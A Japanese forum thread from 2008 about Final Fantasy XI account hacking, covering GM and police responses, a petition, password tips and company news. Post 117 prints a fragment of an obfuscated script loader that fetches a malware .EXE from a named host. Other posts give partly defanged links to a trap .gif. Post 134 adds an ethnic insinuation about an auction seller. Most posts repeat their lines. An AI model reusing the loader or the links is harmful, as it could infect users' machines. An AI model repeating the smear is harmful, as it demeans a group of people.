を聞いてみたが、GMレベルでは解らないらしい。アカハックについては担当部署があり、そちらが順次対応しているとの事だった。
自分の置かれている警察の悪対応についてGMに話すと、不正アクセス犯罪の対応に差があってはいけないという事で、
足を運んだ警察署・警察の担当者・警察署の電話番号を聞かれた。アカハック担当部門が必要に応じて警察に連絡をするとの事だ。
今後の救済トリガーに警察の認定を要するかどうかや、「直接的な救済」の意味する中身は第3者に盗まれた物品に関する事か？
について聞いてみるも、アカハック担当部門が検討中の段階であるため続報を待てとの事だった。
とにかく警察の対応は、ここに書かれたものを見ても天と地の差があるので、警察の対応が悪かった人はGMなりサポセンなりに連絡した方がいい。
その前に、警察に対して電話をしたところ、「やってるけど双方忙しくてね。まだですわ。」の反応だった。
2ヶ月前の話しだし、多分■にすら連絡してないだろうと思い、警察から■へ捜査協力要請は来ているかどうか？
を聞いてみたが、GMレベルでは解らないらしい。アカハックについては担当部署があり、そちらが順次対応しているとの事だった。
自分の置かれている警察の悪対応についてGMに話すと、不正アクセス犯罪の対応に差があってはいけないという事で、
足を運んだ警察署・警察の担当者・警察署の電話番号を聞かれた。アカハック担当部門が必要に応じて警察に連絡をするとの事だ。
今後の救済トリガーに警察の認定を要するかどうかや、「直接的な救済」の意味する中身は第3者に盗まれた物品に関する事か？
について聞いてみるも、アカハック担当部門が検討中の段階であるため続報を待てとの事だった。
とにかく警察の対応は、ここに書かれたものを見ても天と地の差があるので、警察の対応が悪かった人はGMなりサポセンなりに連絡した方がいい。
105 ：既にその名前は使われています：2008/01/26(土) 19:10:56.85 ID:DYNnbnRf
直接的な救済策、が警察の捜査なしにアイテム救済サービスのカウント無効だけだったら笑えるな
106 ：既にその名前は使われています：2008/01/26(土) 19:11:54.67 ID:J8U5BWf1
課金停止運動してみたら？たまにはヴァナから離れるってのもいいよ
FF以外にやることだってたくさんあるだろうし・・・
え？ない？
FF以外にやることだってたくさんあるだろうし・・・
え？ない？
107 ：既にその名前は使われています：2008/01/26(土) 19:47:23.07 ID:UM84WPlc
>>106
単なる業者の跋扈の時にも推奨したんだけどな、今回は成功すると良いね。
単なる業者の跋扈の時にも推奨したんだけどな、今回は成功すると良いね。
108 ：既にその名前は使われています：2008/01/26(土) 21:22:18.38 ID:zuVfjmr1
画像掲示板のほうにも最近業者が来てるっぽいんだけど、
これそうかな？sex.gifとかいかにも罠っぽいタイトルだし。
://tune■ache-bang■com/~vg/outitem/up/img/18435■gif
これそうかな？sex.gifとかいかにも罠っぽいタイトルだし。
://tune■ache-bang■com/~vg/outitem/up/img/18435■gif
109 ：既にその名前は使われています：2008/01/26(土) 21:50:38.07 ID:6A+YpFKY
まずは、ここ見てる人だけでも、課金停止やろうよ！電話ですぐだよ(^-^)
110 ：既にその名前は使われています：2008/01/26(土) 21:54:11.39 ID:sKQYOLgO
勝手にやれば？
111 ：既にその名前は使われています：2008/01/26(土) 22:14:48.28 ID:oMUBK84S
112 ：既にその名前は使われています：2008/01/26(土) 22:42:14.82 ID:tVMYHqSQ
朝誰も立ててないからと立てたが、結構延びてるね
貼られてるアドレスがこわくて踏めない、というのならaguseのプラグイン導入おすすめ
IE6の場合いは検査したいアドがあるページを開いてアドレス部分を反転＞右クリックという
方法になるが、IE7、Firefoxの場合は検索バーでaguse選択＞アドレスコピペして検索すれば
調査結果のページが表示される
貼られてるアドレスがこわくて踏めない、というのならaguseのプラグイン導入おすすめ
IE6の場合いは検査したいアドがあるページを開いてアドレス部分を反転＞右クリックという
方法になるが、IE7、Firefoxの場合は検索バーでaguse選択＞アドレスコピペして検索すれば
調査結果のページが表示される
113 ：既にその名前は使われています：2008/01/26(土) 22:44:56.50 ID:fC5QmWYq
>>108
firefoxでとぶと画像ファイル "***” は壊れているため、表示できませんでした。
ディレクトリみると 2.4K あやしすぎ
Virustotalでチェックしたのがこれ
ttp://www.virustotal.com/jp/analisis/3f597acb6ae31e37158ed91e0821d94c
すくなくとも ただの画像ではないようですよ。
firefoxでとぶと画像ファイル "***” は壊れているため、表示できませんでした。
ディレクトリみると 2.4K あやしすぎ
Virustotalでチェックしたのがこれ
ttp://www.virustotal.com/jp/analisis/3f597acb6ae31e37158ed91e0821d94c
すくなくとも ただの画像ではないようですよ。
114 ：既にその名前は使われています：2008/01/26(土) 23:05:41.88 ID:HbL94uAS
新種だね！
>113
そうなのか・・。108ではありませんが参考になります；
普段PCでFFしてるんで慌ててPS2でパス変更しました。
そうなのか・・。108ではありませんが参考になります；
普段PCでFFしてるんで慌ててPS2でパス変更しました。
116 ：既にその名前は使われています：2008/01/26(土) 23:12:07.53 ID:d4joDj8y
>>108
拡張子はgifだけど中身はスクリプト
これでダウンローダーを落っことしてきて実行
ダウンローダーはWP.EXEというマルウェアを落っことしてくるらしい
WP.EXEはノートン先生で検知・削除された
拡張子はgifだけど中身はスクリプト
これでダウンローダーを落っことしてきて実行
ダウンローダーはWP.EXEというマルウェアを落っことしてくるらしい
WP.EXEはノートン先生で検知・削除された
117 ：既にその名前は使われています：2008/01/26(土) 23:47:50.28 ID:fC5QmWYq
セキュリティガチガチのIE6で踏んでみた。
<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://r8p.org/upload/PWI.EXE";
dc(sc(以下長すぎる怒られたので略
</script>
と 表示されますな。
ttp://r8p.org/もダラスのうぷろだらしい。
ttp://r8p.org/upload/PWI.EXEは うちのVB2008は 以下のものを引っ掛けた。
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=Possible_DLDER
そうやってみんな大人になっていくんだよね。
<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://r8p.org/upload/PWI.EXE";
dc(sc(以下長すぎる怒られたので略
</script>
と 表示されますな。
ttp://r8p.org/もダラスのうぷろだらしい。
ttp://r8p.org/upload/PWI.EXEは うちのVB2008は 以下のものを引っ掛けた。
ttp://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=Possible_DLDER
そうやってみんな大人になっていくんだよね。
118 ：既にその名前は使われています：2008/01/27(日) 00:32:18.74 ID:M2+GS4AN
ＣＤ―Ｒでも被害に・逮捕の院生が作ったウイルス
ttp://www.nikkei.co.jp/news/shakai/20080126STXKG002326012008.html
ＣＤ―Ｒに収録されたファイルを開いただけでも被害に遭うのを
京都府警が確認していることが26日、分かった。
昔からそういうのはあったけどね。
むしろ昔のウィルスを今じゃ駆除できなことも有るらしい。
ttp://www.nikkei.co.jp/news/shakai/20080126STXKG002326012008.html
ＣＤ―Ｒに収録されたファイルを開いただけでも被害に遭うのを
京都府警が確認していることが26日、分かった。
昔からそういうのはあったけどね。
むしろ昔のウィルスを今じゃ駆除できなことも有るらしい。
119 ：既にその名前は使われています：2008/01/27(日) 00:36:15.02 ID:yGOaiAKf
>>118
それ原田だろ？
それ原田だろ？
120 ：既にその名前は使われています：2008/01/27(日) 00:46:19.12 ID:/1ewgrH8
原田のほうは「ごめんなさい」より「何故おれを特定できたんだ？」の気持ちのほうが大きいだろうな
121 ：既にその名前は使われています：2008/01/27(日) 00:54:58.70 ID:dWG08hEl
|l､{ j} /,,ｨ//｜ ／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
i|:!ヾ､_ﾉ／ u {:}//ﾍ | あ…ありのまま 今 起こった事を話すぜ！
|ﾘ u' } ,ﾉ _,!V,ﾊ | ＜ 『特定されるはずがないと
fト､_{ﾙ{,ィ'ｅﾗ , ﾀ人. | 思ったらいつのまにか特定されていた』
ヾ|宀| {´,)⌒`/ |<ヽﾄiゝ | な… 何を言ってるのか わからねーと思うが
ヽ iLﾚ u' | | ヾｌﾄﾊ〉. | おれも何をされたのかわからなかった…
ﾊ !ニ⊇ '／:} V:::::ヽ. │ 頭がどうにかなりそうだった…
/:::丶'T'' ／u' __ /:::::::/｀ヽ ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
今頃こんな心境だろうな
i|:!ヾ､_ﾉ／ u {:}//ﾍ | あ…ありのまま 今 起こった事を話すぜ！
|ﾘ u' } ,ﾉ _,!V,ﾊ | ＜ 『特定されるはずがないと
fト､_{ﾙ{,ィ'ｅﾗ , ﾀ人. | 思ったらいつのまにか特定されていた』
ヾ|宀| {´,)⌒`/ |<ヽﾄiゝ | な… 何を言ってるのか わからねーと思うが
ヽ iLﾚ u' | | ヾｌﾄﾊ〉. | おれも何をされたのかわからなかった…
ﾊ !ニ⊇ '／:} V:::::ヽ. │ 頭がどうにかなりそうだった…
/:::丶'T'' ／u' __ /:::::::/｀ヽ ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
今頃こんな心境だろうな
122 ：既にその名前は使われています：2008/01/27(日) 01:30:10.83 ID:dWG08hEl
いかん下げてた、ってことで保守
123 ：既にその名前は使われています：2008/01/27(日) 01:50:12.23 ID:lyA3rR61
原だって“きんたまウィルス”って呼ばれてたヤツ？
124 ：既にその名前は使われています：2008/01/27(日) 03:55:49.16 ID:HA7yKkVM
保守
125 ：既にその名前は使われています：2008/01/27(日) 06:43:03.70 ID:w7uK4rFI
保守
126 ：既にその名前は使われています：2008/01/27(日) 06:56:01.90 ID:eEnah4p2
保守
127 ：既にその名前は使われています：2008/01/27(日) 08:04:50.69 ID:M2+GS4AN
保守
128 ：既にその名前は使われています：2008/01/27(日) 09:01:39.73 ID:qn449ISB
10 既にその名前は使われています sage 2008/01/26(土) 08:30:55.56 ID:tVMYHqSQ
■アカウントハックの救済について署名して下さい
http://www.petitiononline.com/FFvoice/petition.html
11 既にその名前は使われています sage 2008/01/26(土) 08:31:24.63 ID:tVMYHqSQ
http://www.petitiononline.com/FFvoice/petition.html
[Click Here to Sign Petition]=請願に署名して下さる方はこちらをクリックして下さい。
Name=名前（必須） Email Address=メール（必須） Real name=本名（任意） Server name=サーバー（必須）
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:Private=署名妥当性確保のためのメールアドレスですプライベートでスクウェアに提供されません
:Available to Petition Author=プライベートですがスクウェアに提供されます
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[Preview Your Signature]=貴方の署名を確認します
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■アカウントハックの救済について署名して下さい
http://www.petitiononline.com/FFvoice/petition.html
11 既にその名前は使われています sage 2008/01/26(土) 08:31:24.63 ID:tVMYHqSQ
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129 ：既にその名前は使われています：2008/01/27(日) 10:31:44.12 ID:Gut9sqm5
スクウェア・エニックス、自社株買いを決定―四半期業績も発表
ttp://www.inside-games.jp/news/266/26605.html
スクウェア・エニックスは平成20年3月期の4-12月の業績を発表しました。
それによれば、売上高1142億9300万円(前年同期比-7.1%)、営業利益179億0900万円(-8.9%)、経常利益173億5400万円(-14.2%)、純利益90億9500万円(同)となりました。
ゲーム事業ではDS向け
『ドラゴンクエストIV 導かれし者たち』が109万本、
『ファイナルファンタジーIV』が53万本、
『いただきストリートDS』が42万本、
『ファイナルファンタジークリスタルクロニクル リング・オブ・フェイト』が38万本、
『ドラゴンクエストソード 仮面の女王と鏡の塔』が49万本、
『クライシス コア ファイナルファンタジーVII-』が77万本、
などがありましたが売上高は-14.3%となりました(数字は全て国内、12月末現在)。
オンラインゲーム事業では『ファイナルファンタジー XI アルタナの神兵』が新たにありましたが、売上高は-10.2%となりました。
ゲーム関連は低調でしたが、モバイルコンテンツ事業が売上高で15%伸び、営業利益は50%増でした。出版事業も数字を伸ばし、
タイトーなどのAM事業では売上高は下がったものの、黒字転換しています。また、ライセンスなどのその他の事業も売上高が前年同期の倍になるなど成長を見せています。
また、スクウェア・エニックスでは本日の取締役会で自社株買いを実施することを決議したと発表しています。
取得上限は500万株、150億円で、期間は1月28日～7月31日となります。全て取得した場合、自己株式を除く発行済み株式の4.35%に相当することになります。
【営業利益は50%増】
ttp://www.inside-games.jp/news/266/26605.html
スクウェア・エニックスは平成20年3月期の4-12月の業績を発表しました。
それによれば、売上高1142億9300万円(前年同期比-7.1%)、営業利益179億0900万円(-8.9%)、経常利益173億5400万円(-14.2%)、純利益90億9500万円(同)となりました。
ゲーム事業ではDS向け
『ドラゴンクエストIV 導かれし者たち』が109万本、
『ファイナルファンタジーIV』が53万本、
『いただきストリートDS』が42万本、
『ファイナルファンタジークリスタルクロニクル リング・オブ・フェイト』が38万本、
『ドラゴンクエストソード 仮面の女王と鏡の塔』が49万本、
『クライシス コア ファイナルファンタジーVII-』が77万本、
などがありましたが売上高は-14.3%となりました(数字は全て国内、12月末現在)。
オンラインゲーム事業では『ファイナルファンタジー XI アルタナの神兵』が新たにありましたが、売上高は-10.2%となりました。
ゲーム関連は低調でしたが、モバイルコンテンツ事業が売上高で15%伸び、営業利益は50%増でした。出版事業も数字を伸ばし、
タイトーなどのAM事業では売上高は下がったものの、黒字転換しています。また、ライセンスなどのその他の事業も売上高が前年同期の倍になるなど成長を見せています。
また、スクウェア・エニックスでは本日の取締役会で自社株買いを実施することを決議したと発表しています。
取得上限は500万株、150億円で、期間は1月28日～7月31日となります。全て取得した場合、自己株式を除く発行済み株式の4.35%に相当することになります。
【営業利益は50%増】
130 ：既にその名前は使われています：2008/01/27(日) 12:32:56.18 ID:L1yGsZ3A
携帯コンテンツの利益が増えただけだろ
会社全体のはその前に－8.9パーセントって書いてるじゃん
会社全体のはその前に－8.9パーセントって書いてるじゃん
131 ：既にその名前は使われています：2008/01/27(日) 14:56:19.94 ID:+Xsae6rV
age
132 ：既にその名前は使われています：2008/01/27(日) 15:20:02.46 ID:OHAnnwgB
救済できるなら、してくれた方が良いけど。
PCのセキュリティは、自分でなんとかするしか無いのは覚えて欲しい。
FFX1のユーザはセキュリティが甘いって知れ渡るから、被害も増えると思うんだよね。
PCのセキュリティは、自分でなんとかするしか無いのは覚えて欲しい。
FFX1のユーザはセキュリティが甘いって知れ渡るから、被害も増えると思うんだよね。
133 ：既にその名前は使われています：2008/01/27(日) 15:32:26.15 ID:mzJ47s+j
134 ：既にその名前は使われています：2008/01/27(日) 16:28:58.48 ID:Z8k4m0HY
http://openuser.auctions.yahoo.co.jp/jp/user/gmb_rmt2
http://openuser.auctions.yahoo.co.jp/jp/user/gmb_rmt
こいつの出品はことごとくガイドライン違反
おまけにこいつは在日らしくトラブルもあるみたいだ
違反報告しまくれ
・メールアドレスやURLなどを表記して、Yahoo!オークション外での取引を誘引すること
・商品の落札価格に加えて輸送料や手数料などの名目で、社会通念上不適切な金額を追加費用として落札者に求めること
http://openuser.auctions.yahoo.co.jp/jp/user/gmb_rmt
こいつの出品はことごとくガイドライン違反
おまけにこいつは在日らしくトラブルもあるみたいだ
違反報告しまくれ
・メールアドレスやURLなどを表記して、Yahoo!オークション外での取引を誘引すること
・商品の落札価格に加えて輸送料や手数料などの名目で、社会通念上不適切な金額を追加費用として落札者に求めること
135 ：既にその名前は使われています：2008/01/27(日) 18:47:42.99 ID:dyKxc42r
あげとくよん
136 ：既にその名前は使われています：2008/01/27(日) 20:51:06.16 ID:hrgjOk4v
私もこの前垢ハックされてGMに聞いてみたけど>>64の人と同じ対応ですた
エクレアはいちおう全部残されてたし取られたアイテムと装備もそこまでたいしたことなかったので、のんびり栽培とかで一からやり直してます
いちおう会話内容とかここに書き込んだ方がいいですか？
エクレアはいちおう全部残されてたし取られたアイテムと装備もそこまでたいしたことなかったので、のんびり栽培とかで一からやり直してます
いちおう会話内容とかここに書き込んだ方がいいですか？
137 ：既にその名前は使われています：2008/01/27(日) 21:21:11.37 ID:osJKBtDZ
>>136
是非お願いします。
是非お願いします。
138 ：既にその名前は使われています：2008/01/27(日) 21:29:05.44 ID:hGaj0iDC
スクリーンショットでよろしく。それ以外はいらね。情報的に何の価値もない。
139 ：既にその名前は使われています：2008/01/27(日) 21:56:11.83 ID:hrgjOk4v
SSであげた事ないんですがまずそうなところはWindows付属のペイントでグリグリ塗っとけばOKですか？
アップする画像掲示板も探すのでちょっとお待ちを
アップする画像掲示板も探すのでちょっとお待ちを
140 ：既にその名前は使われています：2008/01/27(日) 22:31:52.86 ID:dxqBzrLj
ログの名前だけ消して、右下の名前とか消し忘れんなよ。
あとGMは開口一番「<me>さん」って言いがちだからそこも。
FF11でよく使われるうｐロダはor2のとこ。
ttp://tune.ache-bang.com/~vg/modules/up/upload.php?
あとGMは開口一番「<me>さん」って言いがちだからそこも。
FF11でよく使われるうｐロダはor2のとこ。
ttp://tune.ache-bang.com/~vg/modules/up/upload.php?
141 ：既にその名前は使われています：2008/01/27(日) 23:36:01.27 ID:941fM3+t
さっきブログ検索で出てくるいろんなブログを見てたら、コメント欄にFF画像とかいうお題で
同じURL貼られてるブログが散見されたんだけど、これって所謂業者垢ハックなのかな？
ソースチェッカーにかけたら、フィッシングの可能性は50％で出たんだけど・・・
同じURL貼られてるブログが散見されたんだけど、これって所謂業者垢ハックなのかな？
ソースチェッカーにかけたら、フィッシングの可能性は50％で出たんだけど・・・
142 ：既にその名前は使われています：2008/01/27(日) 23:55:21.23 ID:/1ewgrH8
偽装JpgとかGifとかあるぽいからな。
sex.jpg とか sexy.gif
とかのようなありえないファイル名には気をつけろ
sex.jpg とか sexy.gif
とかのようなありえないファイル名には気をつけろ
143 ：既にその名前は使われています：2008/01/28(月) 00:04:22.33 ID:+NMu9kuc
>>141
まずそのURLをＨ抜きで希望。
後、ソースチェッカーにかけてもその意味が解らなければ、1％でもウイルスにかかると頭に刻むべし。
ってか、％割合は｢ウイルスかかる可能性が％あるよ～｣って意味だから、
今の質問は｢10等まで50％あるくじ引きっで得？｣って聞いてるようなものだったりする。
(つまり、その景品の中身を伝えずに得かどうか聞いてるような物)
…もうちょっと整理して質問してくれいー
まずそのURLをＨ抜きで希望。
後、ソースチェッカーにかけてもその意味が解らなければ、1％でもウイルスにかかると頭に刻むべし。
ってか、％割合は｢ウイルスかかる可能性が％あるよ～｣って意味だから、
今の質問は｢10等まで50％あるくじ引きっで得？｣って聞いてるようなものだったりする。
(つまり、その景品の中身を伝えずに得かどうか聞いてるような物)
…もうちょっと整理して質問してくれいー
144 ：既にその名前は使われています：2008/01/28(月) 00:15:39.54 ID:+NMu9kuc
145 ：既にその名前は使われています：2008/01/28(月) 00:19:38.99 ID:C24LHdL5
著作権法違反で逮捕だよね 今のとこ。
電子計算機損壊等業務妨害罪が成立したら日本初？
電子計算機損壊等業務妨害罪が成立したら日本初？
146 ：既にその名前は使われています：2008/01/28(月) 00:19:45.95 ID:+E5HsHHV
h抜きのurlは専ブラだと飛んじまうから、過去ログで見かけるような
urlの途中に■を入れる方がいいぞ
うっかりさんがいないとも限らない
urlの途中に■を入れる方がいいぞ
うっかりさんがいないとも限らない
147 ：既にその名前は使われています：2008/01/28(月) 00:56:36.83 ID:+9JqlGXO
>>136
画像編集はどのソフトでもいいが、名前の部分は「塗る」よりも「切り取る」のが確実かな
画像編集はどのソフトでもいいが、名前の部分は「塗る」よりも「切り取る」のが確実かな
148 ：既にその名前は使われています：2008/01/28(月) 01:10:46.22 ID:xnkKM5iv
ttp://tune.ache-bang.com/~vg/modules/up/img/3603.jpg
ttp://tune.ache-bang.com/~vg/modules/up/img/3604.jpg
こんな感じでよろしいですかに？
微妙に続きがありますけど、他の人の場合は解決してるの？＞他PCの情報は教えられません。とか
じゃあサポート体制の強化をよろしくとかそんな感じで終了したので省きました
ttp://tune.ache-bang.com/~vg/modules/up/img/3604.jpg
こんな感じでよろしいですかに？
微妙に続きがありますけど、他の人の場合は解決してるの？＞他PCの情報は教えられません。とか
じゃあサポート体制の強化をよろしくとかそんな感じで終了したので省きました
149 ：既にその名前は使われています：2008/01/28(月) 02:11:39.24 ID:Q1eqtqwX
店売りされたアイテムの救済に運営がギルを要求してくるのは、
店売りによってヴァナ全体に存在するギルが微量ながら増えてしまうせいか。
オックスブラッド救済の場合、店売り13500Gだから
救済して欲しかったら13500G払えってことになるんだろうか。
店売りによってヴァナ全体に存在するギルが微量ながら増えてしまうせいか。
オックスブラッド救済の場合、店売り13500Gだから
救済して欲しかったら13500G払えってことになるんだろうか。
150 ：既にその名前は使われています：2008/01/28(月) 02:13:57.66 ID:Q1eqtqwX
>>148
そんなかんじでおｋ。お疲れ様でした。
GMの名前は消さなくて良かったように思う。
自分の名前も消さなければ鯖の有志が金策とか助けてくれるかもしれないぞ。
逆に煽られる可能性もあるが・・・・
そんなかんじでおｋ。お疲れ様でした。
GMの名前は消さなくて良かったように思う。
自分の名前も消さなければ鯖の有志が金策とか助けてくれるかもしれないぞ。
逆に煽られる可能性もあるが・・・・
151 ：既にその名前は使われています：2008/01/28(月) 02:39:39.80 ID:xnkKM5iv
いやー助けてくれるなら是非是非とか言いたいですが、キャラさえ残ってればなんとかなるだろうしほんのり頑張ります
ちなみに狼鯖です、もし裸で走り回ってるのがいたら生温かい目で見守ってください
ちなみに狼鯖です、もし裸で走り回ってるのがいたら生温かい目で見守ってください
152 ：既にその名前は使われています：2008/01/28(月) 03:44:21.81 ID:YrMa694O
垢ハックとは別件だが、アイテムロック（任意でExRareに切り替え）できるようにならんかねぇ
153 ：既にその名前は使われています：2008/01/28(月) 06:52:27.10 ID:Z2x9GoRd
少し考えれば何の対策にもならん気がするが。
まあ解除不可なら何とかなるか。
まあ解除不可なら何とかなるか。
154 ：既にその名前は使われています：2008/01/28(月) 07:57:13.73 ID:OLi+kbzk
>>152-153
そんな柔軟なシステムは無理じゃないの？
出来たとしてもクライアント処理で、一度ロックしたら
解除不可能でも外部ツールで外してきそうな感じ。
でもハッキングされなくても嬉しい機能かもしれない。
任意で解除出来るなら。
そんな柔軟なシステムは無理じゃないの？
出来たとしてもクライアント処理で、一度ロックしたら
解除不可能でも外部ツールで外してきそうな感じ。
でもハッキングされなくても嬉しい機能かもしれない。
任意で解除出来るなら。
155 ：既にその名前は使われています：2008/01/28(月) 08:43:20.02 ID:F3kiTIFh
俺無知だけど、
中華が例えば俺のキャラ見て、良い装備してるし金もってそうとおもい
ヴァナディール上でいろいろやって俺のＩＤとかパスとかも
盗めるわけだよな。こええ
中華が例えば俺のキャラ見て、良い装備してるし金もってそうとおもい
ヴァナディール上でいろいろやって俺のＩＤとかパスとかも
盗めるわけだよな。こええ
156 ：既にその名前は使われています：2008/01/28(月) 09:19:34.33 ID:NQq4U5ta
>>155
そんな任意のキャラ対象にしたアカハックなんてできるのか？
そんな任意のキャラ対象にしたアカハックなんてできるのか？
157 ：既にその名前は使われています：2008/01/28(月) 10:06:14.53 ID:7SjNKQgt
だから無知なんだろ
158 ：既にその名前は使われています：2008/01/28(月) 10:31:13.85 ID:CM4P6ZZD
>155
／ ＼
／ ─ ─ ＼
／ （●） （●） ＼ それはない
| （__人__） |
＼ ｀ ⌒´ ,／
r､ r､／ ヘ
ヽヾ 三 |:l1 ヽ
＼>ヽ/ |｀ ｝ | |
ﾍ lノ `'ｿ | |
/´ / |. |
＼. ｨ | |
／ ＼
／ ─ ─ ＼
／ （●） （●） ＼ それはない
| （__人__） |
＼ ｀ ⌒´ ,／
r､ r､／ ヘ
ヽヾ 三 |:l1 ヽ
＼>ヽ/ |｀ ｝ | |
ﾍ lノ `'ｿ | |
/´ / |. |
＼. ｨ | |
159 ：既にその名前は使われています：2008/01/28(月) 12:19:40.95 ID:AU7quxhp
保守
160 ：既にその名前は使われています：2008/01/28(月) 13:02:59.00 ID:I68Gk1eh
>155
それはないｗ
が、しかしLS、フレで代わりにログインして「～しといてあげるよ☆IDとパスよろ＾＾」
とかの誘いには乗るなよｗｗｗｗ
それも含めたらヴァナでいろいろとも言えなくもない
FF絡みに関わらずPCにセキュリティ処置せずに不用意に色んな所を
踏むなって言う話をしてる
これは垢ハックだけじゃなく自身の爲に成る
FFだけの事じゃないんだOK？
気をつけないとオマエの怒りが有頂天に成る結果が待ってる
それはないｗ
が、しかしLS、フレで代わりにログインして「～しといてあげるよ☆IDとパスよろ＾＾」
とかの誘いには乗るなよｗｗｗｗ
それも含めたらヴァナでいろいろとも言えなくもない
FF絡みに関わらずPCにセキュリティ処置せずに不用意に色んな所を
踏むなって言う話をしてる
これは垢ハックだけじゃなく自身の爲に成る
FFだけの事じゃないんだOK？
気をつけないとオマエの怒りが有頂天に成る結果が待ってる
161 ：既にその名前は使われています：2008/01/28(月) 13:22:54.79 ID:F3kiTIFh
ありがとう。安心した・・
162 ：既にその名前は使われています：2008/01/28(月) 15:22:19.39 ID:/xu/YsHy
目星をつけたキャラに罠URLをtellしてくることはあるらしいな
それを踏まなければいいだけだが
それを踏まなければいいだけだが
163 ：既にその名前は使われています：2008/01/28(月) 15:22:51.95 ID:AU7quxhp
>>161
ただ一度でもハッキング受けたならIDは変更不可能なので
失った物を取り戻したと思ったらその頃には新たなパスが
ブルートフォース(総当たり)方式で解析されてしまう恐れもなきにしもあらず。
FF11を諦めきれないなら警察に届け出を出すと共に被害垢を凍結して
新垢購入して壱からやり直した方が良いよ。
ただ一度でもハッキング受けたならIDは変更不可能なので
失った物を取り戻したと思ったらその頃には新たなパスが
ブルートフォース(総当たり)方式で解析されてしまう恐れもなきにしもあらず。
FF11を諦めきれないなら警察に届け出を出すと共に被害垢を凍結して
新垢購入して壱からやり直した方が良いよ。
164 ：既にその名前は使われています：2008/01/28(月) 15:47:44.74 ID:7SjNKQgt
ttp://www.4gamer.net/games/007/G000776/20080124013/
ttp://www.4gamer.net/games/028/G002809/20080128004/
こういうのはユーザ側ではどうしようもないなぁ。
ttp://www.4gamer.net/games/028/G002809/20080128004/
こういうのはユーザ側ではどうしようもないなぁ。
165 ：既にその名前は使われています：2008/01/28(月) 15:57:03.30 ID:QqF77hoi
パスワードを適当に決め、かつ忘れにくくする方法
１ 安物、もしくはいらないキーボードからキーをはぎ取り、パスワードに使える文字だけ残す
2 袋を二つ用意し数字とそれ以外にわける
3 数字２コ、その他から７～８個を適当に抜き取る
4 抜き出したキーを適当に並べる
5 並べた文字列をパスワードとして変更
6 変更後のパスワードを携帯メモリに登録しシークレット設定、抜き出したキーを元の袋に
7 以降3～を定期的に繰り返す
こんなん考えてみたがどうだろう
１ 安物、もしくはいらないキーボードからキーをはぎ取り、パスワードに使える文字だけ残す
2 袋を二つ用意し数字とそれ以外にわける
3 数字２コ、その他から７～８個を適当に抜き取る
4 抜き出したキーを適当に並べる
5 並べた文字列をパスワードとして変更
6 変更後のパスワードを携帯メモリに登録しシークレット設定、抜き出したキーを元の袋に
7 以降3～を定期的に繰り返す
こんなん考えてみたがどうだろう
166 ：既にその名前は使われています：2008/01/28(月) 16:08:27.62 ID:7SjNKQgt
それスクリプト組んだほうが早くね?
167 ：既にその名前は使われています：2008/01/28(月) 16:13:46.45 ID:QqF77hoi
168 ：既にその名前は使われています：2008/01/28(月) 17:53:00.00 ID:ikJtFZQy
169 ：既にその名前は使われています：2008/01/28(月) 18:14:15.85 ID:SUHdV/xK
170 ：既にその名前は使われています：2008/01/28(月) 18:56:20.23 ID:8zk/vdjD
ベクターのパスワード管理･生成のカテゴリのソフトで
適当に作ってクリップボードを使用せずに紙とかに書いておけばいいんじゃ?
適当に作ってクリップボードを使用せずに紙とかに書いておけばいいんじゃ?
171 ：既にその名前は使われています：2008/01/28(月) 18:58:37.53 ID:AU7quxhp
>>170
そしてベクターが既にハッキングされてソフトライブラリが感染していた事が発覚する・・・？！
そしてベクターが既にハッキングされてソフトライブラリが感染していた事が発覚する・・・？！
172 ：既にその名前は使われています：2008/01/28(月) 19:03:39.51 ID:7u91HmRl
>>170
そして紙をなくしてログインできないという某旅団団長のようなオチ
そして紙をなくしてログインできないという某旅団団長のようなオチ
173 ：既にその名前は使われています：2008/01/28(月) 19:48:20.61 ID:bBLRO7Zq
さっきPOL立ち上げようとしたらウイルスバスター２００８が
警告出して来たんだけどこれは大丈夫なのかな。
『不正変更の監視のセキュリティレポート』
種類：APIイベント
検出リソース/プロセスID：NtUserSetWindowsHookEx
ファイル名:E:\Playonline\SQUARE\PlayOnlineViewer\pol.exe
該当ポリシー：DLL(プログラムライブラリ)インジェクション
実行した処理：拒否
ちなみにその後普通に動いてる。
警告出して来たんだけどこれは大丈夫なのかな。
『不正変更の監視のセキュリティレポート』
種類：APIイベント
検出リソース/プロセスID：NtUserSetWindowsHookEx
ファイル名:E:\Playonline\SQUARE\PlayOnlineViewer\pol.exe
該当ポリシー：DLL(プログラムライブラリ)インジェクション
実行した処理：拒否
ちなみにその後普通に動いてる。
174 ：既にその名前は使われています：2008/01/28(月) 20:12:42.32 ID:7SjNKQgt
バスターではよくあること
175 ：既にその名前は使われています：2008/01/28(月) 20:16:07.56 ID:seDV96Z9
176 ：既にその名前は使われています：2008/01/28(月) 20:49:41.34 ID:LEXNliFZ
177 ：既にその名前は使われています：2008/01/28(月) 23:02:56.27 ID:sV4MhwXl
178 ：既にその名前は使われています：2008/01/28(月) 23:18:27.42 ID:QqF77hoi
結構パス生成のツールあるもんだなあ
まあ試しに考えてみたものなんでハックされにくい状況で作れるなら
らくだわな
サーバハックされれば■にしても動かざるをえないし、ハック被害も
今とは比べものにならないくらいものになるんだろうけど
まあ試しに考えてみたものなんでハックされにくい状況で作れるなら
らくだわな
サーバハックされれば■にしても動かざるをえないし、ハック被害も
今とは比べものにならないくらいものになるんだろうけど
179 ：既にその名前は使われています：2008/01/28(月) 23:24:42.07 ID:AU7quxhp
全鯖凍結・ロールバック・仮パスワード葉書速達・その月無料のコンボやってもらわないとw
180 ：既にその名前は使われています：2008/01/28(月) 23:24:58.28 ID:LEXNliFZ
中華業者やらも御用達だったかな？
中国に２４億送金、１５人逮捕＝全国展開の地下銀行摘発－警視庁など
中国への送金を無許可で請け負う「地下銀行」を全国規模で営業したとして、
警視庁と宮城、神奈川、宮崎各県警の合同捜査本部は２８日までに銀行法違反（無許可営業）などの疑いで、
中国人と日本人の男女１５人を逮捕した。
全国にいる中国人に口コミで広まり、２００２年７月からの５年余で、不法滞在者ら延べ４１８０人が利用し、
約２４億円を中国にいる家族らに送金。組織は手数料１％を取って約２４００万円を得ていた。
中国福建省にいる密航あっせん組織
